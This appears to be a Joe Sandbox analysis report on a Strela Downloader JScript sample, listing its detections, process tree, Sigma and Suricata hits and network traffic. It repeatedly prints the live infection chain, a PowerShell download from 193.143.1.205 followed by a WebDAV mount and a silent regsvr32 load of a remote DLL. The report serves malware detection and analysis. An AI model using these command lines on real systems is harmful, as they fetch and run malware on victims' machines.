Edit tour

Windows Analysis Report
1932574451821324222.js

Overview

General Information

Sample name:	1932574451821324222.js
Analysis ID:	1587931
MD5:	f09a8756acb72a0e6e3ba1fe5a27cc3f
SHA1:	fb24d4706c6ffb2903b001d631b87c3d7aa106ea
SHA256:	a1e93977b0ace394ec4de30f3a4f2779a311a87f84f66becb93c28b11220c68c
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4268 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5616 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5420 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4200 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5844 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7312 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1756,i,13587920428171030533,5355193097296615401,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4568 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6788 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5956 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4268	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5420, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5420, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js", ProcessId: 4268, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6788, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ProcessId: 5616, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ProcessId: 5616, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ProcessId: 5616, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ProcessId: 5616, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ProcessId: 5616, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js", ProcessId: 4268, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5420, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4568, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6788, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5956, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4568, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6788, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ProcessId: 5616, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:33:55.075793+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:33:52.717338+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1932574451821324222.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1932574451821324222.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:33:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.8:59548 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

